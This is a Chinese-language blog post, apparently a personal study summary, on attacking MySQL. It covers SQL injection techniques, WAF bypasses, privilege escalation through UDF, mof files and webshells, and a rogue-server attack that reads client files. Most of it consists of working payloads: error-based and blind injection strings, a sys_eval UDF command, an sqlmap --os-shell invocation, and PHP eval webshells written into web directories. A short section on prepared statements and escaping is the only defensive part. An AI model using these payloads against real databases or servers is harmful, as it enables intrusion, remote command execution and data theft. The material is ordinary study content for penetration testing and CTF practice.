终于找到一个空闲的时间,可以把Mysql这块的内容好好地整理、总结一番了,也是给自己理一下思路。这篇文章总结了Mysql注入、提权以及Mysql的一些其他攻击。
0x01 SQL注入
sql注入是web应用程序对于用户输入没有进行足够的安全检查,使得输入的sql语句直接拼接到事先定义的语句中,使得其被执行。
判断SQL注入
一般而言,有以下几种方式
' ``"``\使其产生报错and 1=1/and 1=2对比页面内容and sleep(5)对比响应时间
按注入类型
联合查询注入
联合查询指的就是最普通的那种在select的where语句后面直接拼接union的方式。
盲注
盲注的出现是在无法通过页面的回显来直接获取到数据时,通过侧信道的方式来获取。这种方式需要一个差异,包括响应时间的差异和页面返回结果的差异。因此在sql语句中需要构造布尔表达式,使得布尔表达式的真假影响语句执行结果。
时间盲注
- sleep()
- benchmark()
- 笛卡尔积
- 选择一个大的表来做笛卡尔积
SELECT count(*) FROM information_schema.columns A, information_schema.columns B;
- 选择一个大的表来做笛卡尔积
- get_lock()
- 利用有限
- 正则bug
布尔盲注
报错注入
报错注入在sql注入中是一种很常见的注入方式。此种利用方式需要页面将报错信息回显出来。
- 溢出报错
- exp()
exp(~(select * from (select user())x))
- exp()
- xpath语法报错(mysql >= 5.1.5)
- etractvalue
select extractvalue(1,concat(0x7e,(select @@version),0x7e)); - updatexml
select updatexml(1,concat(0x7e,(select @@version),0x7e));
- etractvalue
- 主键重复报错
- count()和group by遇到rand()产生重复值时报错
select count(*) from group by concat(version(),floor(rand(0)*2));
- count()和group by遇到rand()产生重复值时报错
- 列名重复报错
- join
select * from (select * from test a join test b)c
- join
- 几何函数报错
- geometrycollection()
- multipoint()
select multipoint((select * from (select * from (select version())a)b)); - ploygon()
- multipolygon()
- linestring()
- multilinestring()
- GTID函数报错
- GTID_SUBSET()
- GTID_SUBTRACT()
宽字节注入
宽字节注入主要是源于数据库编码与应用程序的编码设置不同所导致的。更具体一点来说是,mysql数据库中设置了GBK编码,会认为两个字符是一个汉字,从而在转义符前加入一个ASCII大于128的字符,将转义符吃掉,从而保留了单引号。
1 | %5c%27 => \' |
二次注入
大多数的网站都会对用户输入的语句进行特殊符号的转义,由于存入数据库的仍然是未转义的字符,若存在某个地方直接从数据库中取出存入的数据且未做检查,则会造成二次注入。
题目可参考sqli_libs的第24关
mysql约束攻击
约束攻击经常出现的点是在用户注册处.利用mysql的select查询进行字符串比较时,不同长度的字符串,会用空格填充到相同字符再比较。mysql插入数据时,当数据超过定义的长度会出现截断现象。
按照注入点
select注入
对于select语句的注入,注入点通常在where语句后面,通常是结合union一起完成注入。
insert注入、update注入
insert类型的注入一般注入点在values函数里面。
- 有回显
- 采用按位
|按位^获取数据insert into table values (0|(select hex(database())),'test');insert into table values ('0'|(select database()),'test');
- 采用按位
- 盲注
insert into table values (1 xor sleep(2),'test');
insert into table values ('0'&sleep(2),'test'); - 无回显且无法盲注
- DNSLog
数据库的严格模式下,不能将整数型转为string型。
order by注入
order by注入的一个重点是它后面几可以填一个列名,也可以填一个数字。它一般用于报错注入和盲注。
报错注入
- updatexml
select * from ha order by updatexml(1,if(1=1,1,user()),1); - extractvalue
select * from ha order by extractvalue(1,if(1=1,1,user()));
- updatexml
盲注
- 与union语句联合使用时,可利用order by注入来盲注出某一字断的值。将字段值与填入的字符串一位一位比较。
union select 1,2,'string' order by 3 - if()。根据不同列名,结果不一样
if(1=1,id,username)需要知道列名if(expr,1,(select id from information_schema.tables))不需要列名 - 时间盲注
if(1=1,1,sleep(1)) - rand()。
order by rand(true)/rand(false)order by rand(ascii(mid((select database()),1,1))>96)
- 与union语句联合使用时,可利用order by注入来盲注出某一字断的值。将字段值与填入的字符串一位一位比较。
limit注入
limit后面可以跟两个函数PROCEDURE和INTO。PROCEDURE里面的报错函数只能使用extractvalue,延时函数只能使用benchmark。
- PROCEDURE (5.0.0<Mysql <5.6.6)
SELECT name FROM users WHERE id >0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(extractvalue(rand(),concat(0x3a,version())),1);
SELECT name FROM users WHERE id >0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
1) 新版mysql不支持在analyse里面使用select;2)使用时间盲注时,不能直接使用sleep(),需要使用BENCHMARK代替。
- INTO (需要有写权限)
SELECT name FROM users WHERE id >0 ORDER BY id LIMIT 1,1 INTO outfile/dumpfile 'xxx';
WAF绕过
黑名单绕过
逗号
- 在字符串截取mid()这样的函数中,使用from 1 for 1.
mid(version(),1,1) => - limit处的逗号.
limit 1,1 => limit 1 offset 1 - union处的逗号.
join
- 在字符串截取mid()这样的函数中,使用from 1 for 1.
空格
- 多层括号嵌套
- 使用注释/**/
- 使用不可见字符(%0a,%0b,%0d,%a0,%09)
and!!!!~~1=1- 科学计数法0e绕过
userid=0e1union
括号
- order by 大小比较盲注
特殊函数
- 字符串截取函数
- left(str,index)
- right(str,index)
- substr(str,index)
- substring(str,index,len)
- mid(str,index,len)
- 字符串比较
- strcmp(expr1,expr2)
- find_in_set(str,strlist)
- if()
- 字符转换函数
- hex()
- bin()
- ord()
- ascii()
- 字符串连接函数
- concat()
- concat_ws()
- group_concat()
- lpad()
- rpad()
- 字符串截取函数
敏感字符过滤
- 编码
- 双写绕过 (未进行递归过滤)
- 大小写绕过
- 运算符
单引号被转义
- 宽字节注入
- 编码,字符串可用十六进制表示
防御措施
- 预编译。预编译的作用有两个。
- 提高执行速度。
- 预防sql注入。预防绝大部分的SQL注入。因为order by后面的语句不能用预编译。若模版可控,也会SQL注入。
- mysql的预编译是将此类SQL语句中的值用占位符替代,可以说是将SQL语句参数化/模版化。
- 黑名单/白名单
- 特殊字符转义
- 关闭错误提示
- 统一编码
- 使用数据库严格模式,防止截断
版本区别
5.0以上与5.0以下版本的区别
- 5.0以上版本存在有information_schema表
0x02 提权
Mysql提权是指在已经获得mysql的root用户权限下,对其他目录具有写权限的情况下,将mysql数据库操作权限提升为mysql进程系统命令执行权限。
UDF提权
UDF提权即user defined function(用户自定义函数),通过添加新函数,对MYSQL的功能进行扩充,后续就可以像使用concat()这样的内置方法来使用添加的新函数。
前提条件
- mysql > 5.1
- dll/so文件必须放置在mysql安装目录的libplugin文件夹下
提权过程
获取udf文件。sqlmap以及metasploit里面都有,根据操作系统版本、位数划分。
将udf文件放入指定的位置。
1 | create database udf; |
Mysql大于5.1时,需放置在Mysql根目录的lib/plugin文件夹下。可通过在数据库中执行以下语句查看。
select @@plugin_dir;
- 从udf文件中引入自定义函数。
CREATE FUNCTION sys_eval() RETURNS STRING SONAME 'udf.dll'
- 执行自定义函数
SELECT sys_eval('id')
工具利用
- sqlmap
1 | sqlmap -d 'mysql://root:root@192.168.0.32:3306/mysql' --os-shell |
- metasploit
mof提权
mof是windows的托管对象格式,提权是利用了c:/windows/system32/wbem/mof/nullevt.mof文件每分钟都会在一个特定的时间去执行一次的特性。通过将cmd命令写入该mof文件,从而被执行。
针对于低版本的系统进行提权。
提权过程
- 获取mof文件
1 | #pragma namespace("\\.\root\subscription") |
mof文件中加入待执行的命令。
- 写入mof文件
1 | select unhex('') into dumpfile "C:\\WINDOWS\\SYSTEM32\\wbem\\mof\\nullevt.mof" |
工具利用
webshell提权
webshell提权方式利用的是向web目录中写入shell文件,从而提权。
提权流程
- 当mysql具有web目录写权限时。
SELECT '<?php eval($_POST['cmd']);?>' into outfile '/var/www/html/1.php';
- 当mysql不具有写权限时,但可以设置日志位置。
set global general_log="ON";
set global general_log="/var/www/html/1.php";
select "<?php eval($_GET['post']);?>;"0x03 客户端攻击
mysql客户端任意文件读取
此攻击方式利用的是LOAD DATA LOCAL INFILE语句从客户端读取本地文件,存入服务器的table中这一特性。通过伪造mysql服务器,即可任意读取客户端本地的文件。
load data infile以及非local加载语句都会收到secure_file_priv的限制- 且客户端读取的文件并不是客户端指定,而是发送到服务端,服务端指定的。
- 服务端可以在任何查询语句后恢复文件传输请求
利用流程
伪造Mysql服务器 Rogue-MySql-Server
等待客户端发送